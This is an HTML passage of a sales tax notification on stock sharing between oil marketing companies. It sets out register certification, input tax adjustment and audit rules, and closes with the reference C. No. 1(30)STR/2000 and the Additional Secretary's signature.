<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> <span style="mso-tab-count: 1">
</span>(3)<span style="mso-tab-count: 1">
</span>The Terminal Operator shall certify the <u>bona</u> <u>fides</u> of all
the credit and debit entries made in the stock sharing register by
10<sup>th</sup> of the each month following the month to which the entries
relate.<o:p> </o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> <span style="mso-tab-count: 1">
</span>(4)<span style="mso-tab-count: 1">
</span>The stock sharing register, duly certified by the Terminal Operator as
aforesaid, shall be produced to the Sales Tax Department, as and when required
for inspection, audit or any other authorized purpose.<o:p> </o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><b style="mso-bidi-font-weight: normal"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> <o:p> </o:p></span></b></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><b style="mso-bidi-font-weight: normal"><span lang="EN-GB" style="mso-ansi-language: EN-GB">5.<span style="mso-tab-count: 1">
</span>Tax liability.�</span></b><span lang="EN-GB" style="mso-ansi-language: EN-GB"><span style="mso-spacerun: yes">
</span>(1)<span style="mso-tab-count: 1">
</span>The OMC which has given a product to another OMC on stock sharing basis,
shall be entitled to avail input tax adjustment, as provided under the Act and
the rules made thereunder.<o:p> </o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> <span style="mso-tab-count: 1">
</span>(2)<span style="mso-tab-count: 1">
</span>The OMC, which has taken a product from another OMC, shall pay sales tax
on its supply or sale to the buyer or consumer without claiming any input tax
adjustment thereon.<o:p> </o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> <span style="mso-tab-count: 1">
</span>(3)<span style="mso-tab-count: 1">
</span>The OMC, to whom a product taken on stock sharing basis is returned,
shall pay sales tax on its supply or sale to the buyer or consumer and input tax
adjustment thereon shall be admissible, if not already availed.<o:p>
</o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> </span><b style="mso-bidi-font-weight: normal"><span lang="EN-GB" style="mso-ansi-language: EN-GB">6.<span style="mso-tab-count: 1">
</span>Miscellaneous. �</span></b><span lang="EN-GB" style="mso-ansi-language: EN-GB"><span style="mso-tab-count: 1">
</span>(1) The stock of a product moved for exchange under these rules shall not
be required to be declared on the sales tax return unless finally supplied or
sold on payment of sales tax.<o:p> </o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> <span style="mso-tab-count: 1">
</span>(2)<span style="mso-tab-count: 1">
</span>The OMC, which has taken any stock of a product on sharing basis under
these rules, shall not normally charge the price, over and above the price which
would have been fetched by such stock had it been supplied or sold by the
lending OMC.<o:p> </o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> <span style="mso-tab-count: 1">
</span>(3)<span style="mso-tab-count: 1">
</span>No adjustment, refund or remission of sales tax shall be allowed under
any circumstances on account of variation or difference of the sale price of the
exchanged stocks.<o:p> </o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> <span style="mso-tab-count: 1">
</span>(4)<span style="mso-tab-count: 1">
</span>Audit of the records of OMCs for verification of the correct payment of
sales tax on monthly basis shall be conducted once in a year.<o:p>
</o:p></span></p>
<div style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0pt; BORDER-TOP: medium none; PADDING-LEFT: 0pt; PADDING-BOTTOM: 1pt; BORDER-LEFT: medium none; PADDING-TOP: 0pt; BORDER-BOTTOM: windowtext 0.5pt solid">
<p class="MsoNormal" style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0pt; BORDER-TOP: medium none; PADDING-LEFT: 0pt; PADDING-BOTTOM: 0pt; BORDER-LEFT: medium none; PADDING-TOP: 0pt; BORDER-BOTTOM: medium none; TEXT-ALIGN: justify; mso-border-bottom-alt: solid windowtext .5pt; mso-padding-alt: 0pt 0pt 1.0pt 0pt"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> <o:p> </o:p></span></p></div>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB">[<u>C. No. 1(30)STR/2000</u>]<o:p>
</o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> <o:p> </o:p></span></p>
<dl>
<div align="right">
<dt><b style="mso-bidi-font-weight: normal"><span lang="EN-GB" style="mso-ansi-language: EN-GB">(SHAHID AHMAD)<o:p>
</o:p></span></b></dt></div>
<div align="right">
<dt><span lang="EN-GB" style="mso-bidi-font-weight: bold; mso-ansi-language: EN-GB">Additional
Secretary<o:p> </o:p></span></dt></div></dl>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> <o:p> </o:p></span></p>
<p class="MsoNormal" style="TEXT-ALIGN: justify"><span lang="EN-GB" style="mso-ansi-language: EN-GB"> <o:p> </o:p></span></p>
<p class="MsoNormal"> <o:p> </o:p></p>
<p class="MsoNormal"> <o:p> </o:p></p>
<p class="MsoNormal"> <o:p> </o:p></p>
</body></html>